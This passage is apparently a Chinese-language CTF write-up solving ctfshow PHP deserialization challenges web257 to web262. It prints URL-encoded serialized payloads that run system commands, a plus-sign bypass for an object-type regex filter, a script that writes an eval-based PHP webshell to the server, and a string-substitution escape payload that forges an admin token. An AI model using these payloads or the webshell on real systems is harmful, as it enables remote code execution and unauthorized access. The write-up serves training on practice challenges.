O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

页面回显:flag.php,index.php

改一下外部命令为:cat flag.php,序列化后编码如下:

1
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

得到flag,题目解决

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

这题与上题不一样的地方就是多了一个正则表达式匹配,这个正则的作用是检查 $_COOKIE['user'] 的值是否匹配以下模式:

  • 以字符 oc 开头(不区分大小写),
  • 后跟一个冒号 :,
  • 然后是一或多个数字,
  • 再后跟一个冒号 :

很明显,这匹配的就是对象序列化后的开头部分,所以我们需要通过一些手段绕过这个正则匹配,就是在数字前面加个加号来绕过

这次却不能够用之前的脚本来运行,因为对象属性为private的话可能会出现一些未知的错误(做这题的时候被卡在这边有一段时间),所以对象属性最好都为public

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}

}

class backDoor{
public $code="system('ls');";
public function getInfo(){
eval($this->code);
}
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

得到如下:

1
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

url解码后在相关数字前面加上加号:O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:13:"system('ls');";}}

再次编码并使用,得到该目录下存在flag.php

将外部命令换成cat flag.php,得到flag,题目解决

web259(csrf)

flag.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

环境代码如下:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

题目题解参考:https://blog.csdn.net/qq_45694932/article/details/120498828

需要补充的是,这道题要使用的SoapClient 是 PHP 中自带的一个类,用于实现 SOAP(Simple Object Access Protocol)客户端功能。SOAP 是一种基于 XML 的协议,用于在计算机网络上传输消息。SoapClient 类提供了与 SOAP 服务器进行通信的方法,使得 PHP 程序可以方便地调用基于 SOAP 的 Web 服务

但是自己下载下来的php可能并没有启动该扩展,所以我们可以到配置文件php.ini中搜索extension=soap

如果前面有分号就代表并没有启用,要启用的话就是直接删去分号就成功启用了

web260

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

代码逻辑很简单,序列化也不会影响字符串

所以直接get传参:?ctfshow=ctfshow_i_love_36D

得到flag,题目解决

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

当类中同时存在__unserialize()__wakeup()方法时,会调用__unserilize()方法而不调用另一个方法

然后__invoke()也没有什么东西,不用去调用

0x36d对应的是877,并且是弱比较,只要前面是877就行,后面接什么都可以

利用file_put_contents来写入木马文件

综上,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}

$a = new ctfshowvip('877.php','<?php eval($_POST["shell"]) ?>');
echo urlencode(serialize($a));

get传参:?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_POST%5B%22shell%22%5D%29+%3F%3E%22%3B%7D

文件成功写入,用蚁剑直连

得到flag,题目解决

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释中还有message.php界面,访问得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

从上述代码可以明白要得到flag,token值要等于admin

但是初始的token值是默认等于user的,我们改不了,我们注意到$umsg = str_replace('fuck', 'loveU', serialize($msg));是字符替换,可以实现字符逃逸

实现字符逃逸:

1
2
3
所需逃逸的为:";s:5:"token";s:5:"admin";}
一共27个字符,构造27个fuck
t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

所以我们的payload为:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php页面,但是没有见到flag

这是我们需要改一下cookie的路径,改为/message.php如下:
image-20240608215627505

保存并重新刷新一下页面,得到flag,题目解决